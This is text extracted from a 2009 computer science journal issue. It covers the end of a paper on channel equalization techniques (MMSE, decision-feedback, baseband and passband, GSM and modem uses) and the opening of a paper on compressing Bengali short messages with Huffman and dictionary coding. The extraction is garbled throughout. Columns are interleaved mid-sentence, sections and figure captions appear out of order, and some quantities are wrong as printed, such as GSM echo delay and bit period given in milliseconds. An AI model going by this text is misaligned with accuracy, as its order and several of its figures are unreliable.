MMSE = E [z( t ) − d (t )]
2
} (10)
Following this concept of obtaining the minimum error, the task is to determine the taps of the filter in Fig. 7 in order to perform a transmission with minimum errors. In Fig. 8 is presented a scheme points out the interesting signals used in the process[10]. y(t) Channel and Receiver Filters
∑
Transverse Filter Equalizer
Noise
z(t) Decision
∑ d’(t) Transverse Filter Equalizer
Figure 8: MMSE Equalizer Circuit
3.3. Adaptive equalizers Most of the times the channel, besides being unknown, it is also changing with time, a solution can be achieved by creating an algorithm that adjust the taps of the filter by following the channel and lead to the optimum values of the equalizer. Adaptive equalization has different ways to perform automatic algorithms. 3.3.1 Decision Directed Equalization The previous equalizer systems are linear in that they employ linear transversal filter structures. The filters implement a convolution sum of a computed impulse response with the input sequence. Often with data communication systems, one can take advantage of prior knowledge of the transmit signal characteristics to deduce a more accurate representation of the transmit signal than can be afforded by the linear filter. It is possible to devise a decision device (a predictor or a slicer) that estimates what symbol value was most likely transmitted, based on the linear filter continuous output. The difference between the decision device input and output forms an error term which can then be minimized to adapt the filter coefficients. This is true because a perfectly adapted filter would produce the actual transmitted symbol values, and, therefore, the slicer error term would go to 0. In practice, the error is never 0, but if the adapted filter is near ideal, the
Figure 7: Filter Structure of a ZFE
3.2. Minimum Mean Square Since ZFE ignore the additive noise and may significantly amplify noise for channels with spectral nulls another type of equalizer my be used to partially avoid this problem. The Minimum-mean-square error (MMSE) equalizers minimize the mean-square error between the output of the equalizer and the transmitted symbol. They require knowledge of some auto and cross-correlation functions, which in practice can be estimated by transmitting a known signal over the channel. In such an equalizer the Coefficients in Fig. 7 are chose to minimize the mean square error (MMSE). The error consists on the sum of the squares of ISI terms plus noise. The MMSE at the equalizer is the expected value of the square of the error.
92
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, 2009 Vol. 4, No. 1 & 2, 2009
decisions are perfect. In this case, the slicer is effectively throwing away received noise with each decision made.
channel filter are calculated. It verifies a good estimation of the channel filter parameters as demonstrated by the error curve, that present values of 10-1. Also it verifies very approximate values of the weights.
3.3.2 Decision-Feedback Equalization Another nonlinear adaptive equalizer should be considered: the decision feedback equalization (DFE). DFE is based on the principle that once we have determined the value of the current transmitted symbol, we can exactly remove the ISI contribution of that symbol to future received symbols (see Figure 5). The nonlinear feature is again due to the decision device, which attempts to determine which symbol of a set of discrete levels was actually transmitted. Once the current symbol has been decided, the filter structure can calculate the ISI effect it would tend to have on subsequent received symbols and compensate the input to the decision device for the next samples. This postcursor ISI removal is accomplished by the use of a feedback filter structure.
Figure 9: Real and Estimated Output Signals
4.
DESIGN IN BASEBAND
In baseband the frequency bandwidth of transmission is equal to the symbol rate. In this case the samples are real numbers while passband the samples are complex numbers. A first consequence of baseband equalization is the delay introduced by the equalizer in the carrier recovery loop. This delay affects the loop stability, steady-state jitter performance as well as its acquisition behavior. An example of a Least Mean Square Algorithm is presented next. 4.1. Program in Matlab The least mean squared (LMS) equalizer is a more general approach to automatic synthesis. The coefficients are gradually adjusted to converge to a filter that minimizes the error between the equalized signal and the stored reference. The filter convergence is based on approximations to a gradient calculation of the quadratic equation representing the mean square error. The only parameter to be adjusted is the adaptation step size αa. Through an iterative process, all filter tap weights are adjusted during each sample period in the training sequence. Eventually, the filter will reach a configuration that minimizes the mean square error between the equalized signal and the stored reference. As might be expected, the choice of αa involves a tradeoff between rapid convergence and residual steady-state error. A too-large setting for αa can result in a system that converges rapidly on start-up, but then chops around the optimal coefficient settings at steady state. In this algorithm the input signal considered was noise, and the channel filter parameters were previously determined in a practical experience. Noise (White Noise) was added to the output of the channel. Then it takes N samples for training sequence (for the plots N=60) and finally the weights of the
Figure 10: Error
Figure 11: Estimated and Calculated Weights of Channel Filter
A MMSE algorithm was also tested and presented a clear way of the implementation of this type of equalizer. The plots show the equalizer results for 1000 samples and using 500 for training. The input is a QAM signal.
93
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, 2009 Vol. 4, No. 1 & 2, 2009
5.
BASEBAND VS PASSBAND EQUALIZATION
5.1. Examples Next is an example of a Baseband and PassBand Equalization in the context of QAM (or multiphase PSK).[8] In a practical implementation, an equalizer can be realized either at baseband or at passband. For example Fig. 15 illustrates the demodulation the demodulation of QAM (or multiphase PSK) by first translating the signal to baseband and equalizing the baseband signal with an equalizer having complex-valued coefficients. cos ωi t
Figure 12: Input Signal Re ⎡ˆIn ⎤ ⎣ ⎦ Im ⎡ˆIn ⎤ ⎣ ⎦ Re [ε n ] Im [ε n ]
sin ωi t
Figure 15: QAM (Multiphase QPSK) signal demodulation
In effect, the complex equalizer with complex-valued (inphase and quadrature components) inputs is equivalent to four parallel equalizers with real-valued tap coefficients as shown in Fig. 16. Figure 13: Received Samples
[ Re(cn )]
Re ⎡ ˆI n ⎤ ⎣ ⎦
[ Im(cn )] [ Im(cn )]
Im ⎡ ˆI n ⎤ ⎣ ⎦
[ Re(cn )] Figure 16: Complex-valued baseband equalizer for QAM (Multiphase QPSK) signals
On the other hand, we may equalize the signal at passband. This is accomplished as shown in Fig. 17 for a twodimensional signal constellation such as QAM and PSK. The received signal is filtered and, in parallel, it is passed through a Hilbert transformer, called a phase-splitting filter.
Figure 14: Equalized Symbols
It performs a good estimation of the weights of the transversal filter, and provides the optimum values for the filter.
94
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, 2009 Vol. 4, No. 1 & 2, 2009
system to implement in a consumer system. As discussed below, there are other designs that outperform the DFE in terms of convergence or noise performance, but these generally come at the expense of greatly increased system complexity. Today, most TDMA phones employ DFE running on fixed-point DSPs such as those in the TMS320C5x [4] family.
e − jω t
6.3. Equalization used in GSM e jω t
An adaptive equalizer is used in the demodulator of the receiver to compensate for its difficulty in recognizing the original bit pattern from the distorted signal. Distortion of the signal is caused by the fact that the Doppler shift and the delay time for each path varies continuously. As a result, the channel characteristic (the impulse response) changes over time. The equalizer used for GSM is specified to equalize echos up to 16 ms after the first signal received. This corresponds to 4.8 km in distance. One bit period is 3.69 ms. Hence, echos with about 4 bit lengths delay can be compensated [5].
Figure 17 – QAM or QPSK signal equalization at passband signals
Thus, we have the equivalent of in-phase and quadrature components at passband, which are fed to a passband complex equalizer. Following the equalization, the signal is downconverted to a baseband and detected. The error sigbal generated for the purpose of adjusting the equalizer coefficients is formed at baseband and frequency-translated to passband as illustrated in Fig. 17. 6.
APPLICATIONS (EXAMPLES)
6.1. Equalization in Modem (ADSL) Applications
6.4. Equalization in HSPA and 3GPP
Today, automatic equalization is used on just about all modems designed for operation over the switched telephone network. With automatic equalization, a certain initialization time is required to adapt the modem to existing line conditions. This initialization time becomes important during and after line outages, since line initial equalization times can extend otherwise short dropouts unnecessarily. Recent modem developments shortened the initial equalization time to between 15 and 25 ms, whereas only a few years ago a much longer time was commonly required. After the initial equalization, the modem continuously monitors and compensates for changing line conditions by an adaptive process. This process allows the equalizer to ‘track’ the frequently occurring line variations that occur during data transmission without interrupting the traffic flow. On one 9600 bps modem, this adaptive process occurs 2400 times a second, permitting the recognition of variations as they occur[9]. 6.2. Equalization for Digital Cellular Telephony The direct sequence spreading employed by CDMA (IS-95) obviates the need for a traditional equalizer. The TDMA systems (for example, GSM and IS-54), on the other hand, make great use of equalization to contend with the effects of multipath-induced fading, ISI due to channel spreading, additive received noise, and channel-induced spectral distortion, etc. Because the RF channel often exhibits spectral nulls, the linear equalizers are not optimal due to their tendency to boost noise at the null frequencies. Of the nonlinear equalizers, the DFE is currently the most practical
Receiver-side equalization [6] has for many years been used to counteract signal corruption due to radio-channel frequency selectivity. Equalization has been shown to provide satisfactory performance with reasonable complexity at least up to bandwidths corresponding to the WCDMA bandwidth of 5MHz [7]. However, if the transmission bandwidth is further increased up to, for example 20 MHz, which is the target for the 3GPP Long-Term Evolution, the complexity of straightforward high-performance equalization starts to become a serious issue. One option is then to apply less optimal equalization, with a corresponding negative impact on the equalizer capability to counteract the signal corruption due to radio-channel frequency selectivity and thus a corresponding negative impact on the radio-link performance. The use of specific single-carrier transmission schemes, especially designed to allow for efficient but still reasonably low-complexity equalization. Linear time-domain (frequency-domain) filtering/equalization implies that linear processing is applied to signals received at different time instances (different frequencies) with a target to maximize the post-equalizer SNR (MRC-based equalization), alternatively to suppress signal corruption due to radiochannel frequency selectivity (zero-forcing equalization, MMSE equalization, etc.). 7.
CONCLUSION
Of particular interest today is the area of digital cellular communications, which has seen wide use of fixed-point DSPs. DSP-based equalizer systems have become ubiquitous
95
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, 2009 Vol. 4, No. 1 & 2, 2009
in many diverse applications including voice, data, and video communications via various transmission media. Typical applications range from acoustic echo cancelers for fullduplex speakerphones to video echo-canceling systems for terrestrial television broadcasts to signal conditioners for wireline modems and wireless telephony.
[9].
The effect of an equalization system is to compensate for transmission-channel impairments such as frequencydependent phase and amplitude distortion. Besides correcting for channel frequency-response anomalies, the equalizer can cancel the effects of multipath signal components, which can manifest themselves in the form of voice echoes, video ghosts or Rayleigh fading conditions in mobile communications channels. Equalizers specifically designed for multipath correction are often termed echo-cancelers. They may require significantly longer filter spans than simple spectral equalizers, but the principles of operation are essentially the same. This article attempts to familiarize you with some basic concepts associated with channel equalization and data communication in general. This report is intended to give an introduction to equalization, their types and examples and applications in digital transmission. We have provided a brief survey of equalization techniques and describe their characteristics using some examples. Baseband and Passband equalization has been discussed in terms of Multiphase QPSK. Some Matlab driven examples also shown using plot to better understand.
[2]. [3]. [4]. [5]. [6]. [7].
[8].
AUTHORS PROFILE
Kazi Mohammed Saidul Huq received B.Sc. in CSE from Ahsanullah University of Science & Technology, Bangladesh in 2003. He obtained his M.Sc. in EE - specialization Telecommunications from Blekinge Institute of Technology, Sweden in 2006. Since April 2008, he started working at Instituto de Telecomunicações, Pólo de Aveiro, Portugal. His research activities include integration of heterogeneous wireless systems (in CRRM, cross-layer design, DBWS & system level simulation paradigm) and integration of RFID. Atílio Gameiro received his Licenciatura (five years course) and his PhD from the University of Aveiro in 1985 and 1993 respectively. He is currently a Professor in the Department of Electronics and Telecommunications of the University of Aveiro, and a researcher at the Instituto de Telecomunicações - Pólo de Aveiro, where he is head of group. His main interests lie in signal processing techniques for digital communications and communication protocols. Within this research line he has done work for optical and mobile communications, either at the theoretical and experimental level, and has published over 100 technical papers in International Journals and conferences. His current research activities involve space-time-frequency algorithms for the broadband component of 4G systems and joint design of layers 1 and 2.
REFERENCES [1].
Peebles, P.Z., Communication System Principles, Addison-Wesley, 1976. [10]. Samueli, H., Daneshrad, B., Joshi, R., Wong, B., and Nicholas, H., “A 64-Tap CMOS Echo Canceller/Decision Feedback Equalizer for 2B1Q HDSL Transceivers”, IEEE Journal onSelected Areas in Communications, Vol. 9, Iss: 6 , August 1991, pp. 839–847.
B. P. Lathi, Modern Digital and Analog Communication Systems, Third Edition: Oxford University Press, 1998. Ziemer, R.E., and Peterson, R.L., Introduction to Digital Communication, Second Edition, Prentice Hall, 2001. J. Kurzweil, An Introduction to Digital Communications, John Wiley, 2000. TMS320C5x User’s Guide, Texas Instruments, 1993. GSM Introduction WL9001student guide Lucent Technologies, 1998. J.G. Proakis, Digital Communications, McGraw-Hill, New York, 2001. G. Bottomley, T. Ottosson and Y.-P. Eric Wang, ‘A Generalized RAKE Receiver for Interference Suppression’, IEEE Journal on Selected Areas in Communications, Vol. 18, No. 8, August 2000, pp. 1536–1545. Qureshi, S.,“Adaptive Equalization”, IEEE Communications Magazine, March 1992, pp. 9–16.
Md. Taslim Arefin received B.Sc. in Computer Engineering from American International University –Bangladesh (AIUB) in 2005. He obtained his M.Sc. in Electrical Engineering – Specialization Telecommunications from Blekinge Institute of Technology (BTH), Sweden in 2008 . At the present time he is working as lecturer in the Dept. of Computer Science & Engineering at University of Development Alternative (UODA), Dhaka, Bangladesh from January, 2009. His research interest includes BSS, communication engineering and computer networking like development over cellular network, routing related issue and wireless communication etc.
96
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
AN ENHANCED STATIC DATA COMPRESSION SCHEME OF BENGALI SHORT MESSAGE Abu Shamim Mohammad Arif
Asif Mahamud
Rashedul Islam
Assistant Professor, Computer Science & Engineering Discipline, Khulna University, Khulna, Bangladesh E-mail: [email protected]
Computer Science & Engineering Discipline, Khulna University, Khulna, Bangladesh. E-mail: [email protected]
Computer Science & Engineering Discipline, Khulna University, Khulna, Bangladesh. E-mail: [email protected]
develop a Lossless Compression technique for compressing short message for small devices.
Abstract—This paper concerns a modified approach of compressing Short Bengali Text Message for small devices. The prime objective of this research technique is to establish a lowcomplexity compression scheme suitable for small devices having small memory and relatively lower processing speed. The basic aim is not to compress text of any size up to its maximum level without having any constraint on space and time; rather than the main target is to compress short messages up to an optimal level which needs minimum space, consume less time and the processor requirement is lower. We have implemented Character Masking, Dictionary Matching, Associative rule of data mining and Hyphenation algorithm for syllable based compression in hierarchical steps to achieve low complexity lossless compression of text message for any mobile devices. The scheme to choose the diagrams are performed on the basis of extensive statistical model and the static Huffman coding is done through the same context.
It is necessary to clearly mention here that compression for small devices may not be the ultimate and maximum compression. It is because of the case that in order to ensure compression in the maximum level we definitely need to use and implement algorithms sacrificing space and time. But these two are the basic limitations for any kind of mobile devices especially cellular phones. Thus we are to be concerned on such techniques suitable to compress data in the most smart and efficient way from the point of view of low space and relatively slower performance facility and which is not require higher processor configuration. The basic objective of the thesis is to implement a compression technique suitable for small devices to facilitate to store text messages by compressing it up to a certain level. More precisely saying- Firstly, to achieve a technique which is simple and better to store data in a small device. Secondly, to keep required compression space minimum in order to cope with memory of small devices. Thirdly, to have the compression time optimal and sustainable.
I. INTRODUCTION We are now at the age of science. Now a day, Science brings everything to the door of us. Science makes life easy with its many renowned and unrenowned achievements. Small devices are one of such achievements. In case of our personal computer there is much space to store various types of data. We never worried about how much space the data or messages take into the memory to store that data. But in case of small device we have to consider the memory space required to store the respective data or text messages. Compression of the text message is the number one technique in this case.
II.
LITERATURE SURVEY
A. Definitions Data Compression In computer science and information theory, data compression often referred to as source coding is the process of encoding information using fewer bits (or other informationbearing units) than an un-encoded representation would use through use of specific encoding schemes. One popular instance of compression that many computer users are familiar with is the ZIP file format, which, as well as providing compression, acts as an achiever, storing many files in a single output file.
Compression is an art of reducing the size of a file by removing redundancy in its structure. Data Compression offers an attractive approach of reducing communication costs by using available bandwidth effectively. Data Compression technique can be divided into two main categories namely for Lossless Data Compression and Lossy Data Compression. If the recovery of data is exact then the compression algorithms are called Lossless. This type of lossless compression algorithms are used for all kinds of text, scientific and statistical databases, medical and biological images and so on. The main usage of Lossy Data Compression is in normal image compression and in multimedia compression. Our aim is to
As is the case with any form of communication, compressed data communication only works when both the sender and receiver of the information understand the encoding scheme. For example, this text makes sense only if the receiver understands that it is intended to be interpreted as characters
97
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
representing the English language. Similarly, compressed data can only be understood if the decoding method is known by the receiver. Some compression algorithms exploit this property in order to encrypt data during the compression process so that decompression can only be achieved by an authorized party (eg. through the use of a password). [9]
either static or dynamic. A static method is one in which the mapping from the set of messages to the set of code-words is fixed before transmission begins, so that a given message is represented by the same codeword every time it appears in the message ensemble. The classic static defined-word scheme is Huffman coding. In Huffman coding, the assignment of codewords to source messages is based on the probabilities with which the source messages appear in the message ensemble. Messages which appear more frequently are represented by short code-words; messages with smaller probabilities map to longer code-words. These probabilities are determined before transmission begins. A code is dynamic if the mapping from the set of messages to the set of code-words changes over time. For example, dynamic Huffman coding involves computing an approximation to the probabilities of occurrence "on the fly", as the ensemble is being transmitted. The assignment of code-words to messages is based on the values of the relative frequencies of occurrence at each point in time. A message x may be represented by a short codeword early in the transmission because it occurs frequently at the beginning of the ensemble, even though its probability of occurrence over the total ensemble is low. Later, when the more probable messages begin to occur with higher frequency, the short codeword will be mapped to one of the higher probability messages and x will be mapped to a longer codeword. There are two methods to represent data before transmission: Fixed Length Code and Variable length Code.
Compression is useful because it helps reduce the consumption of expensive resources, such as disk space or transmission bandwidth. On the downside, compressed data must be uncompressed to be viewed (or heard), and this extra processing may be detrimental to some applications. For instance, a compression scheme for text requires mechanism for the text to be decompressed fast enough to be viewed as it's being decompressed and may even require extra temporary space to decompress the text. The design of data compression schemes therefore involve trade-offs between various factors, including the degree of compression, the amount of distortion introduced (if using a lossy compression scheme), and the computational resources required to compress and uncompress the data. Short Message A message in its most general meaning is an object of communication. It is something which provides information; it can also be this information itself [9]. Therefore, its meaning is dependent upon the context in which it is used; the term may apply to both the information and its form. A communiqué is a brief report or statement released by a public agency. [9]
The Huffman coding algorithm produces an optimal variable length prefix code for a given alphabet in which frequencies are pre assigned to each letter in the alphabet. Symbols that occur more frequently have shorter Code words than symbols that occur less frequently. The two symbols that occur least frequently will have the same codeword length. Entropy is a measure of the information content of data. The entropy of the data will specify the amount of lossless data compression can be achieved. However, finding the entropy of data sets is non trivial. We have to notice that there is no unique Huffman code because Assigning 0 and 1 to the branches is arbitrary and if there are more nodes with the same probability, it doesn’t matter how they are connected
Short Text Message Text Messaging, also called SMS (Short Message Service) allows short text messages to be received and displayed on the phone. 2-Way Text Messaging, also called MO-SMS (MobileOriginated Short Message Service,) allows messages to be sent from the phone as well.[9] Text messaging implies sending short messages generally no more than a couple of hundred characters in length. The term is usually applied to messaging that takes place between two or more mobile devices Existing Methods Compression
and
Systems
for
Lossless
Data
The average message length as a measure of efficiency of the code has been adopted in this work.
Though a number of researches have been performed regarding data compression, in the specific field of SMS Compression the number of available research works is not huge. The remarkable subject is that all the compression technique is for other languages but not for Bengali. The techniques are mainly for English, Chinese, and Arabic etc. Bengali differs from these languages for its distinct symbol and conjunct letters. So, we have to gather knowledge from the other language compression technique and then had to go for our respective compression. The following two sections give a glimpse of the most recent research developments on SMS Compression issue.
The average search length of the massage is the summation of the multiplication of the length of code-word and its probability of occurrence. Also the compression ratio as a measure of efficiency has been used. Comp. Ratio = Compressed file size / source file size * 100 % The task of compression consists of two components, an encoding algorithm that takes a message and generates a “compressed” representation (hopefully with fewer bits) and a decoding algorithm that reconstructs the original message or some approximation of it from the compressed representation.
Efficient Data Compression Scheme using Dynamic Huffman Code Applied on Arabic Language [1] This method is proposed by Sameh et al. In addition to the categorization of data compression schemes with respect to message and codeword lengths, these methods are classified as
Genetic Algorithms in Syllable-Based Text Compression [2] This method is proposed by Tomas Kuthan and Jan Lansky. To perform syllable-based compression, a procedure is needed
98
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
for decomposition into syllables. They call an algorithm hyphenation algorithm if, whenever given a word of a language, it returns it’s decomposition into syllables. According to the definition of syllable every two different hyphenation of the same word always contain the same number of syllables. There can be an algorithm that works as a hyphenation algorithm for every language. Then it is called universal hyphenation algorithm. Otherwise it is called specific hyphenation algorithm. They describe four universal hyphenation algorithms: universal left PU L, universal right PU R, universal middle-left PU M L and universal middle-right PU M R.
of any specific criteria. In concerned task it is planned to use character masking for reducing the storage overhead for blank spaces. Firstly the spaces are expected to be searched out and then encoded by a predefined code-word. This codeword should be unique for the overall compression. For multiple consecutive blank spaces the same technique may be employed. The modified message is then passed towards the next compression step for dictionary Matching or Partial Coding. In the second step they employ Dictionary Matching or Partial Coding. In this phase the string referred from the first step is passed through a partial coding which encodes the masked characters (performed previously in the first step) on the basis of the following character. The character following masked character mergers the masked space by encoding it. Thus all the spaces are merged and as a result it may be certainly reduce a mentionable amount of characters. After this task we pass the modified string of message through a dictionary matching scheme where the message is searched for matching some pre-defined most-commonly used words or substrings or punctuations to reduce the total number of characters. The message is then forwarded to Step 3 where the actual coding is performed.
The first phase of all these algorithms is the same. Firstly, they decompose the given text into words and for each word mark its consonants and vowels. Then all the maximal subsequences of vowel are determined. These blocks form the ground of the syllables. All the consonants before the first block belong to the first syllable and those behind the last block will belong to the last syllable. This algorithm differs in the way they redistribute the inner groups of consonants between the two adjusting vowel blocks. PU L puts all the consonants to the preceding block and PU R puts them all to the subsequent block. PU M L and PU M R try to redistribute the consonant block equally. If their number is odd PU M L pushes the bigger parity to the left, while PU M R to the right. The only exception is, when PU M L deals with a oneelement group of consonants. It puts the only consonant to the right to avoid creation of not so common syllables beginning with a vowel.
In the final step of coding they have used static Huffman Coding Style. But here the modification is made that in spite of calculating on-stage codes they use predefined codes in order to reduce the space and time complexity. The codes for dictionary entries are also predefined. The total message is thus encoded by a comparatively small number of bits and hence they get a compressed outcome.
Hyphenating priesthood correct hyphenation universal left PU L universal right PU R universal middle-left PU M L universal middle-right PU M R
Compression of a Chinese Text [4]
priest-hood priesth-ood prie-sthood priest-hood pries-thood
This method is proposed by Phil Vines, Justin Zobel. In this method, the byte oriented version of PPM (Partial Predictive Matching) is not predicting characters, but rather halves of character. It is reasonable to suppose that modifying PPM to deal with 16 bit characters should enable the model to more accurately capture the structure of the language and hence provide better compression .They have identified several changes that need to be made to the PPM implementation described above to allow effective 16-bit coding of Chinese. First, the halving limit needs to be modified the number of 16-bit characters that can be occur in a context in much greater than of 4-bit characters. So a large probability space is required. Second, in conjunction with this change the increment should also be increased to force more frequent halving and prevent the model from stagnating. Their experiments suggest that a halving limit of 1024 and an increment of 16 are appropriate. Third, the method described above for estimating escape probabilities may not be appropriate since so many characters are novel. Fourth, model order must be chosen.
Effectiveness of these algorithms is then measured. In general, PU L was the worst one; it had lowest number of correct hyphenations and produced largest sets of unique syllables. The main reason for this is that it generates a lot of vowel-started syllables, which are not very common. PU R was better but the most successful were both ’middle’ versions. English documents were best hyphenated by PU M R, while with Czech texts PU M L was slightly better. Lossless Compression of Short English Text Message for JAVA Enable Mobile Devices [3] This method is proposed by Rafiqul et al. published in preceedings of 11th International Conference on Computer and Information Technology (ICCIT 2008), in December, 2008, Dhaka, Bangladesh. The Total compression process is divided into three steps namely for Character Masking, Substring Substitution or Dictionary Matching or Partial Coding, Bit Mapping or Encoding (Using Fixed Modified Huffman Coding).
Most implements encode bytes, but this is an arbitrary choice and any unit can be used within the constraints of memory size and model order. For English contexts and symbols are quickly repeated, so that, after only a few kilobytes of text, good compression is achieved and contexts of as little as three characters can give excellent compression.
The very first step of planned SMS Compression is Character Masking. Character Masking is a process in which the character(s) code(s) are changed or re-defined on the basis
99
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
As byte-oriented PPM is a general method that gives good results not only for English text but for a wide variety of data types, an obvious option is to apply it directly to Chinese text. Higher order models take a loner time to accumulate contexts with probabilities that accurately reflect the distribution. So that, when memory is limited, the models spends most of its time in the learning phase, where it emits large number of escape codes and is unable to make . Thus they observe poorer compression because such contexts do not reappear sufficiently often before the model needs to be flushed and rebuild over 800. Reloading the model with immediate prior text after each flush is unlikely to helpful; since the problem is that there is not sufficient memory to hold the model that make accurate prediction. It follows that increasing the amount of memory available for storing contexts could be expected to improve compression performance. However, assuming only moderate volumes of memory are available, managing even a character-based model can be problematic; they believe that because of the number of distinct symbols, use of a word-based model is unlikely to be valuable. The implementation of PPM described above uses a simple memory management strategy; all information is discarded when the available space is consumed.
compression technique for Bengali text compression. To facilitate efficient searching and low complex coding of the source text, we employ term probability of occurring characters and group of characters in a message with indexing the dictionary entries. The total compression scheme is divided into two stages: Stage 1: Building the knowledge-base. Stage 2: Apply proposed text ranking approach for compression the source text. Stage 1: Building the knowledge-base The test-bed is formed from the standard Bengali text collections from various sources. We consider a collection of texts of various categories and themes (like news, documents, papers, essays, poems and advertising documents) as the test bed. By reading the respective frequency statistics we select our respective knowledgebase entries and divide the frequency into a four level architecture. Assigning minimum length code-words to the selected components is the main objective of the statistics gathering phase. It is remarkable that, though a few collections of domain specific text collection are available, still now no sophisticated Bengali text compression evaluation test-bed is available. As data compression and especially dictionary based text compression greatly involves the structure, wording and context of texts, a collection involving different types of text is a must for evaluating the compression. In constructing the dictionary, we use the testtext-bed of 109 files varying from 4kb to 1800kb.
III. PROPOSED SYSTEM Our prime concern of thesis is to implement a lossless compression of short Bengali text for low-powered devices in a low complexity scheme. The idea behind this is there are still many compression techniques for languages like English, Arabic and other language and many people are still involving to improve the compression ratio of messages of the respective language. Some of them are also published in various conferences and journals. Although Bengali short message technique is achieved couple of years ago but there is not still any compression technique suitable for Bengali languages.
The Variable Length Coding (VLC) algorithm [1] is used to produce an optimal variable length prefix code for a given alphabet. Noteworthy that, in the previous step of knowledgebase formation, frequencies is already pre-assigned to each letter in the alphabet. Symbols that occur more frequently have shorter Code-words than symbols that occur less frequently. The two symbols that occur least frequently will have the same codeword length. Entropy is a measure of the information content of data. The entropy of the data will specify the amount of lossless data compression can be achieved. However, finding the entropy of data sets is non trivial. We have to notice that there is no unique Huffman code because Assigning 0 and 1 to the branches is arbitrary and if there are more nodes with the same probability, it doesn’t matter how they are connected.
Bengali text compression differs from English text compression from mainly two points of views. Firstly, the compression techniques involving pseudo-coding of uppercase (or lowercase) letters are not applicable for Bengali text. Secondly, in case of Bengali, we may employ specific mechanism of coding dependent vowel signs to remove redundancy, which is absent for the case of English. In Bengali, we have 91 distinct symbol units including independent vowels, constants, dependent vowel signs, two part independent vowel signs, additional constants, various signs, additional signs and Bengali numerals etc. A detail of Bengali symbols available in. Moreover, in Bengali we have a large involvement of conjuncts which also focuses a scope of redundancy removal.
The average message length as a measure of efficiency of the code has been adopted in this work. Avg L = L1 * P (1) + L2 * P (2) + ….. + Li * P (i) Avg L = ∑ Li * P (i)
Though English has got a fixed encoding base long ago, still now in practical application, Bengali has adapted unique encoding scheme. The use of Bengali Unicode has not yet got a massive use. This is really a great limitation for research in Bengali. Bengali text compression also suffers from the same problem.
Also the compression ratio as a measure of efficiency has been used. Compression Ratio = Compressed file size / source file size * 100 % The task of compression consists of two components, an encoding algorithm that takes a message and generates a “compressed” representation (hopefully with fewer bits) and a decoding algorithm that reconstructs the original message
A. Compression Process In this paper, we propose a new dictionary based
100
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
or some approximation of it from the compressed representation.
performed. It is simply analyzing the bitmaps. The second step involves recognition of each separate bitpatterns and indication of the characters or symbols indicated by each bit pattern. This recognition is performed on the basis of the information from fixed encoding table used at the time of encoding.
Stage 2: Apply proposed text ranking approach for compression the source text Text ranking is an elementary scheme which is used to assign weights or index of texts or terms (especially word tokens) on the basis of any suitable scheme or criteria. This scheme of indexing or ranking is ideally frequency of occurrence of the texts or even probability of occurrence of the texts or components. In our method, we grab the source text and take the Unicode value of the corresponding data. Our method of compression process differs mainly from others in this point. Still now no one has the method of taking the most successive match. But we have the way to take the most successive match. We will start with maximum level and proceed through the hierarchical levels to find successful match. It is to remark that in the last level there is only letters and their Unicode value. So, if a word does not match in any level it has to match in this level. To perform compression, we need a procedure for decomposition into syllables. We will call an algorithm hyphenation algorithm [2] if, whenever given a word of a language, it returns it’s decomposition into syllables. It is called universal hyphenation algorithm. By this algorithm we can generate the successful match for a string or sentence what other method haven’t done. We call this algorithm as specific hyphenation algorithm. We will use four universal hyphenation algorithms:
The final step involves simply representing i.e. display of the characters recognized through decoding the received encoded message. IV. EXPERIMENT RESULT The proposed model of short text Compression for Bengali language provides much more efficiency than other SMS compression models. This proposed model is also expected to have lower complexity than that of the remaining models. The steps provided are not previously implemented in same model. The basic aspect of the model is, in this model we plan to use less than eight bit codeword for each character in average using static coding in place of eight bits and hence we may easily reduce total number of bits required in general to represent or transmit the message. The modification is required and to some extent essential because for low complexity devices is not any intelligent approach to calculate the codes for each character sacrificing time and space requirements. That is why it may be a good approach to predefine the codes for each character having less bit length in total to compress the message. The fixed codes will be determined from the heuristic values based on the dictionary we normally use. The ultimate aim is to use less number of bits to reduce the load of characters.
universal left PU L, universal right
PU R,
universal middle-left
PU M L and
We intend to apply the dictionary matching or multi-grams method to enhance the optimality of compression. Multigrams method is used in order to replace a number of used sub-string or even strings from the input message. Specific code words are defined for those words or substrings or strings. It is because the case that if we can replace any part of the message by a single characters then we can definitely reduce the total number of character gradually. It is necessary to mention here that the co-ordination of multi-grams or dictionary method with modified Huffman coding may ensure the maximum 3 to 5 possible compression. In order to enhance the performance of compression the dictionary matching or multi-grams will play a vital role in compression ratio because the propose thesis is based on successful and ultimate optimal compression of Bengali text at the level best for wireless mobile devices with small memory and lower performance speed. As we are using Huffman coding for length seven whereas each character requires eight bits to be represented. Thus for n characters we will be able to compress n bits using fixed Huffman coding. In the next step we will be able to save the memory requirements for blank spaces using character masking. For example, for any Bengali short message of length 200 characters it is usual to predict that we may have at least 25 spaces. If we can eliminate those blank spaces by masking with its consecutive character through character masking, then we may reduce those 25 characters from the original message. It is necessary to mention here that the dictionary matching or multi-grams method is completely
universal middle-right PU M R. The first phase of all these algorithms is the same. Firstly, we decompose the given text into words and for each word mark its letter and symbol. Then we determine all the maximal subsequences of vowel. These blocks form the ground of the syllables. All the consonants before the first block belong to the first syllable and those behind the last block will belong to the last syllable. After taking the most successive matching then encode with the code-words obtained in the Step 1 for each matching elements. And lastly the resultant data will be transmitted. B. Decompression Process The total decompression process can be divided into the following three steps: Step 1: Grab the bit representation of the message Step 2: Identify the character representation Step 3: Display the decoded message. As all the letters and symbols are to be coded in such a fashion that by looking ahead several symbols (Typically the maximum length of the code) we can distinguish each character (with attribute of Human Coding). In step 1 the bit representation of the modified message is
101
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
dependent on the probability distribution of input message and we are to be much more careful on choosing the dictionary entries for Bengali text.
COMPRESSIONRATIOCOMPARISON
COMPRESSION RATIO
